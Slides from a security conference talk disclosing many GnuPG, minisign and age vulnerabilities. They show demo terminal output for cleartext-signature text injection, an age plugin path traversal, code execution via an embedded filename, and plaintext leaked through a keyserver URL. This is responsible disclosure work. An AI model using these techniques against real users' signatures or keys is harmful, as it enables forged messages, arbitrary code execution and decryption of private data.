These slides are designed to be presented in 1920x1080: otherwise stuff might be clipped or weirdly sized.

If you skip to fast over the simulated terminal, lines might get lost.

To sign or not to sign

Practical vulnerabilities in GPG and friends

https://gpg.fail

Who are we?

Lexi Groves / 49016

Security Researcher, CS @ KIT
web @ KITCTF

Liam Wachter

Security Engineer @ Asymmetric Research
pwn @ KITCTF


What business do we have talking about cryptography?

Layers

Serialization & System Integration

ASCII-Armor Packet Formats

Keyring Format

Operation + Padding

GCM OAEP PSS

PKCS#1 CMS

Math

    (xe)d = x (mod n)

    y2 = x3 + ax + b

Specification + Implementation

What is GPG, PGP etc.?

PGP/OpenPGP/LibrePGP/
Pretty Good Privacy
GPG/GnuPG/
GNU Privacy Guard
The Specification An Implementation
RFC 2440, 4880, 9580 Usable software
Defines packet structure
and cryptography specifics
Implements the specification
as a CLI & library

There are more PGP implementations such as Sequoia-PGP (sq)

There are non-PGP tools such as age or minisign

Where is GPG?

attack surface

  • Signatures
    • Correct parsing
    • Verifying the right plaintext

  • Authentication/Identity
    • Using the right keys
    • Identifying the right users
  • Encryption
    • Decrypting the right ciphertext
    • Encrypting to the right recipient

  • GPG as a CLI tool/library
    • Memory safety
    • Safe usage

Why GPG

Cryptography nerd stuff

I like(d) GPG

-> Doing that requires reading GPG code

Why GPG

Cryptography nerd stuff

I like(d) GPG & messing with GPG

-> Doing that requires reading GPG code

It started with signatures

xkcd.com/1181: PGP

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----  <- This is the cleartext start
Hash: SHA1

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1  <- Here are headers

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.  <- Only this text is hashed & verified

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...] <- This is a PGP packet stream containing       
[...]      a cryptographic signature over the text above   
=fRcg  
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

PGP Signed Message Anatomy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1  <- These headers are not part of the signature!
            
- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

Naive Attack

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1, Cicada 3301 will be revived  <- We can try to inject here...

- From here on out, we will cryptographically sign all messages with this key.

It is available on the mit keyservers.  Key ID 7A35090F, as posted in a2e7j6ic78h0j.

Patience is a virtue.

Good luck.

3301
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header

They know


/****************
 * check whether the armor header is valid on a signed message.
 * this is for security reasons: the header lines are not included in the
 * hash and by using some creative formatting rules, Mallory could fake
 * any text at the beginning of a document; assuming it is read with
 * a simple viewer. We only allow the Hash Header.
 */
static int parse_hash_header( const char *line )
					

Parses the familiar

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
					

But violate it

$ cat msg | gpg -u gpg.fail --clearsign --not-dash-escaped
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
NotDashEscaped: You need gpg to verify this message

This part is actually signed and verified
-----BEGIN PGP SIGNATURE-----

iHUEARYKAB0WIQTubq20y7BjiHo74rQTrr7FcboURwUCaUfoJwAKCRATrr7FcboU
R9hZAQC21yWDAjFkjGwoepxL6RuA2BV12YN4Xck408hqXLkS3QD+JvWdg+B8dMYM
0QJ2EguxBHn2bFN/NN2kYN86UGCiOgg=
=4bjO
-----END PGP SIGNATURE-----
 
 
 
$ cat msg.modified && gpg --verify msg.modified
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
NotDashEscaped: You can just put anything (like "creative formatting") here and it will verify

This part is actually signed and verified
-----BEGIN PGP SIGNATURE-----

iHUEARYKAB0WIQTubq20y7BjiHo74rQTrr7FcboURwUCaUfoJwAKCRATrr7FcboU
R9hZAQC21yWDAjFkjGwoepxL6RuA2BV12YN4Xck408hqXLkS3QD+JvWdg+B8dMYM
0QJ2EguxBHn2bFN/NN2kYN86UGCiOgg=
=4bjO
-----END PGP SIGNATURE-----
gpg: Signature made Sun 21 Dec 2025 01:30:45 PM CET
gpg:                using EDDSA key EE6EADB4CBB063887A3BE2B413AEBEC571BA1447
gpg: Good signature from "39c3 demo <[email protected]>" [ultimate]

It gets worse


/****************
 * check whether the armor header is valid on a signed message.
 * this is for security reasons: the header lines are not included in the
 * hash and by using some creative formatting rules, Mallory could fake
 * any text at the beginning of a document; assuming it is read with
 * a simple viewer. We only allow the Hash Header.
 */
static int parse_hash_header( const char *line )


					
Hash: SHA512 \0 We have just injected content again
 
        

creative formatting

Hash: SHA512 \0 \v\r\v\r We have just injected content again
 
 
        

Vertical tabs (\v) & carriage returns (\r)

creative formatting

Hash: SHA512 \0 

                \r\r We have just injected content again
        

Vertical tabs (\v) & carriage returns (\r)

creative formatting

Hash: SHA512 \0 

We have just injected content again
        

Vertical tabs (\v) & carriage returns (\r)

creative formatting

Creative formatting 😐


Impact

Verifying cleartext signatures in common terminal environments can show attacker prepended text.

Status

Reported > 2 months ago; Unfixed

Recommendations

Implementations: Have strict parsing as advertised in the comment

Users: Avoid cleartext signatures; Use --decrypt


gpg.fail/nullbyte & gpg.fail/notdash

PGP alternative: minisign

A dead simple tool to sign files and verify signatures.
  • Simple to use
  • Secure (based on modern cryptography)
  • Minimal (focused on doing one thing well)

minisign format

untrusted comment: [arbitrary text]
base64([signature_algorithm] || [key_id] || [signature])
trusted_comment: [arbitrary text]
base64([global_signature])
global_signature: ed25519([signature] || [trusted_comment])

minisign format

untrusted comment: [arbitrary text]
base64([signature_algorithm] || [key_id] || [signature])
trusted_comment: [arbitrary text]
base64([global_signature])
global_signature: ed25519([signature] || [trusted_comment])

C strings are hard

abc\n -> abc

abc\r\n -> abc

signed\r injected\n -> signed

similar issue in minisign

cat output vs verified

Recap so far

We can add anything to the top of PGP signed messages

Non-PGP C tools make the same mistakes as GPG


Can we break signatures even further?

Signature types

Cleartext

Full (new!)

xkcd.com/1181: PGP

Not so clear sig 😐


Impact

Given any signed message, an attacker can create a cleartext signature with any content that verifies correctly for the original signer.

Status

we reported the bug > 2 months ago. gpg & sq have no patch

Recommendations

Implementations: Don't mix sig types (--cleartext), strict parsing, remove clearsigs

Users: Avoid using clearsigs; Use --decrypt


gpg.fail/clearsig

--decrypt injection

detached sig injection ✅


Impact

Multiple plaintext attack on detached signatures,
allowing marking unsigned content as verified.

Status

Reported. Fixed in 8abc320 with our exploit payload in the commit message

gpg: Error out on unverified output for non-detached signatures.
* g10/mainproc.c (do_proc_packets): Never reset the any.data flag.
Kudos to the reporter for the detailed report.
	      	

2.2 branch ✅, 2.4 branch ✅; 2.4 release (probably your version) ❌


gpg.fail/detached

Recap so far

Cleartext/Full signatures: broken in many ways

Detached signatures: also spoofable

PGP alternatives: also have issues

-> Signatures are getting boring


Philosophical question:

Is crypto on the command line a good idea?

All my crypto CLI tools display ANSI

ANSI escape sequences

  • Standardized way to control terminal output formatting
  • Widely supported by terminal emulators
  • Can move cursor, change colors, and more

This can display data in places that appear trusted

How should binary on the terminal be handled?

ANSI + gpg = code execution

  • The RFC specifies a filename field for plaintext packets
  • GnuPG interprets that as a file path
  • gpg [file] will write the file there (after asking)
  • All it takes is pressing Enter
  • $ gpg pts.enc
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: pts.enc: unknown suffix
    Enter new filename [/home/nine/.bash_completion]: 
    					
  • ANSI magic can get the user to press Enter
  • $ gpg --decrypt pts.enc && gpg pts.enc
    gpg: WARNING: Message contains no signatures. View in safe-mode [ENTER]?
    
    $ bash
    pwned$
    					

ANSI + gpg = code execution ✅


Impact

Pressing Enter in a common terminal environment during a plausible workflow can lead to arbitrary code execution.

Status

gpg: Do not use a default when asking for another output filename.

* g10/options.h (COMPAT_SUGGEST_EMBEDDED_NAME): New.
* g10/gpg.c (compatibility_flags): New flags "suggest-embedded-name".
* g10/openfile.c (ask_outfile_name): Do not show a default unless the compatibility flag is used.

Recommendations

Implementations: Beyond the narrow fix, always ask before outputting binary to the terminal.

Users: Use a GnuPG version that includes this patch


gpg.fail/filename

Rick Astley ->

Trusted UI ->

PGP alternative: age

A simple, modern, and secure encryption tool
“Age is what PGP file encryption would be if PGP didn't suck shit.”
— Soatok Dreamseeker

Modern cryptography

Rust and Go implementations

Plugin system for YubiKeys etc.

How did they end up in this talk?

So I complained

why is it trying to run random binaries derived from [the public key]????

Let's look at the spec!

Mapping recipients and identities to plugin binaries

Plugins are identified by an arbitrary string NAME.
In ABNF: NAME = 1*VCHAR

When a plugin recipient is provided, the client
searches for a binary with the plugin name.

C2SP: Plugin system for age

an arbitrary 1*VCHAR? 🤔

../../../../bin/pwn

Oops.

(excerpt)

Disclosure

gpg disclosure = gpg encrypted -> age disclosure = age encrypted

age encourages one-time ephemeral keys -> What key do we use?

age plugin name traversal ✅


Impact

Recipient names can contain path traversals,
enabling arbitrary binary execution.

Status

Fixed in age (Go), rage, pyrage, typage
age-plugin spec updated:

A NAME MUST only contain alphanumeric and -_.+
Relative paths MUST NOT be searched
Plugin names MUST NOT contain path separators


gpg.fail/age

Recap so far

Signatures: Severe bugs in cleartext and detached signatures

Crypto on the command line: maybe not the best idea


What about memory safety?

blazingly fast memcpy

Diagram of armor_filter function flow
Diagram of armor_filter function flow with overflow

How is this reachable

afx->inp_bypass is on when base64 is not detected

armor_filter is only pushed if base64 is detected

They both use check_input()

-> We would need Schroedinger's base64 payload

Simple fix: Supply enough to overflow the filter
to get it called twice with different inputs

Control-flow sketch

At last:

blazingly fast memcpy ✅


Impact

Memory corruption in GnuPG armor parsing yields exploitation primitives.

Status

“that is indeed a very good analysis. Thank you and your team.”

Fix was committed with our PoC payload in the commit message (115d138) on the dev branch.

"Assert that the filter implementations behave well"


Recommendations

Users: Use a GnuPG version that includes this patch


gpg.fail/memcpy

Uninitialized variable: SHA1 digest

Uninitialized variable: SHA1 digest ✅


Impact

"downgrade to SHA1 in 3rd party key signatures"

Status

Reported. Fixed in db9705e.

Recommendations

Users: Use a GnuPG version that includes this patch

Implementations: Use MSAN with a comprehensive test suite + static analysis


gpg.fail/sha1

Encrypted Message Malleability

Mallory: "I encrypted my public key for you, can you upload my key?"

gpg --unwrap key.gpg.enc > key.gpg

GPG says "decryption failed: invalid packet", but key seems fine:

$ gpg key.gpg
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
pub   ed25519 2025-12-21 [C] [expires: 2028-12-17]
	7C996D1BA8E1D4082719424AE80EBABCC54F0335
uid           Mallory <[email protected]>
sub   ed25519 2025-12-21 [S] [expires: 2028-12-17]
sub   cv25519 2025-12-21 [E] [expires: 2028-12-17]
					

Fair enough; let's upload that to a keyserver

Mallory has just decrypted something with your private keys.

Wrong error

Only some failures are treated as manipulation:

Attack goal: make the error look like “some weird decode issue”, not tampering.

Irregular EOF becomes INV_PACKET:

Available under keys.openpgp.org & gpg.fail/poc/exfil

$ gpg --export [email protected] | sq packet dump 

Public-Key Packet, new CTB, 2 header bytes + 51 bytes
    Curve: Ed25519
    Fingerprint: 06993EC337C276ECFD8C598AB613D42DB68D9E1D
	[...]

Signature Packet, new CTB, 3 header bytes + 371 bytes
    Type: DirectKey
    Unhashed area:                                                  Here's the zlib header! ↓
      Preferred keyserver: "http://localhost:9999/upload-key?x=�\u{14}G\"\u{16}��>�\u{15}fd�x\u{15}D\u{15}D�\u{2}x�\u{1}H\0���Fb\0iHP
                            ��#�5 That is plaintext w�W���w\u{605}���r\u{1c}�&\u{f}ǟ�\r�^\u{e}��D}�,/�n_���{�Jv�!��\u{14}�\t\u{7}��;�jB2D�!6�a��\"�"
					

Encrypted Message Malleability 😐


Impact

A malformed OpenPGP message can bypass integrity protection checks, enabling an attacker to steer packet parsing and exfiltrate plaintext bytes via signed outputs.

Status

reported. wontfix.

Recommendations

Implementation: Have strict error handling on critical paths

Users: Treat warnings as errors (leads to false positives)


gpg.fail/malleability

To trust or not to trust

Trust chain: You -[signed]-> Alice -[signed]-> Bob -[signed]-> Carol

Starts at your own key

How do you trust yourself?

"Trust packets contain data indicating which key
holders are trustworthy introducers

The format is defined by implementations

SHOULD NOT be emitted to output

SHOULD be ignored on any input"

RFC 4880, 5.10. Trust Packet (Tag 12)

--keyring file
    Add  file  to  the  current list of keyrings. If file begins with a tilde and a slash,
    these are replaced by the $HOME directory. If the filename does not contain  a  slash,
    it  is  assumed  to  be  in  the  GnuPG home directory ("~/.gnupg" unless --homedir or
    $GNUPGHOME is used).

    Note that this adds a keyring to the current list. If the intent is to use the  speci-
    fied keyring alone, use --keyring along with --no-default-keyring.

    If the option --no-keyring has been used no keyrings will be used at all.

    Note  that if the option use-keyboxd is enabled in 'common.conf', no keyrings are used
    at all and keys are all maintained by the keyboxd process in its own database.

--import-options restore
    Import in key restore mode.  This imports all data which  is  usually  skipped  during
    import;  including  all  GnuPG  specific  data.  All other contradicting  options  are
    overridden.

Those sound safe, but allow
using and importing foreign trust packets

Plot twist

Wildly ignoring the RFC, but:

does not affect the trust model. Why?

/* Note: trustval is not yet used. */

GnuPG uses a separate trustdb.gpg,
and does not store trust values in trust packets!

What do they store in trust packets, then?

Uh oh.

Surely we don't blindly read those back, do we?

Uh oh.

Where is that signature cache used?

 

Signatures over text do not use the signature cache!

The other kind of signature however...

Keyring Sigcache Bug (tl;dr)

Forge a trust packet that sets checked/valid on a key signature, which allows:

  • Adding signing subkeys
  • Adding authentication subkeys
  • Adding encryption subkeys
  • Signing other keys
  • Revoking valid keys

Identity PoC: Governikus

Works with German government

Offer various government ID related products

gpg.fail/poc/merkel - This shows the real, original fingerprint of Governikus

Signature PoC: Revival

Most well known PGP keys?

Satoshi Nakamoto (Bitcoin inventor)

Satoshi is the edge case: Nothing works!

Previous vulns modify existing signatures

Satoshi has never used his keys

-> Let's give Satoshi a new subkey!

gpg.fail/poc/satoshi - This shows the real, original fingerprint of Satoshi Nakamoto

Encryption PoC: Backdoor

Importing a packet like this can permanently backdoor encryption

Let's create a key that backdoors encryption to the CCC disclosure inbox!

gpg.fail/poc/ccc - This shows the real, original fingerprint of [email protected]

Keyring sigcache bug 😐


Impact

Using --keyring or --import-options restore untrusted trust packets can mark subkey bindings as “valid”, causing GnuPG to accept attacker-injected subkeys and silently encrypt to the attacker.

Status

Reported > 2 months ago; Unfixed.

Recommendations

Implementations: document and harden these options; never let a cache bit bypass cryptographic verification.

Users: don't use --import-options restore or --keyring with untrusted files


gpg.fail/trust

GPG Wrapped: 2025 in review

Vulnerabilities found

14

That's a lot for one year!

Bugs affecting signatures

9

Signatures all the way down!

Unpatched issues

9

A lot of 0-days!

Git commits signed by GnuPG

0

Not inspiring confidence!

Oldest issue from

1999-01-07

Committed before the speakers were born!

gpg.fail/… Status Impact Patch / Ref
memcpy Patch unreleased Memory corruption in b64 parsing 115d138
trust Unpatched Signing, encryption, auth & user IDs broken --
sha1 Patch unreleased SHA1 downgrade on user ID signatures db9705e
nullbyte Unpatched Limited clearsig text injection --
notdash Unpatched Limited clearsig text injection --
detached Patch unreleased Detach sig text injection 8abc320
malleability wontfix Malleability, breaking encryption at rest --
filename Mitigated Code execution on user interaction ad0c6c3
age Patched Code execution on user interaction GHSA-32gq-x56h-299c
notsoclear Unpatched Full clearsig text injection --
minisign Unpatched Trusted comment injection --
more than fit in the talk
formfeed Unpatched Clearsig text injection on \f --
noverify Wontfix Verification impossible --
polyglot Unpatched Parser difference --

Thank you for listening!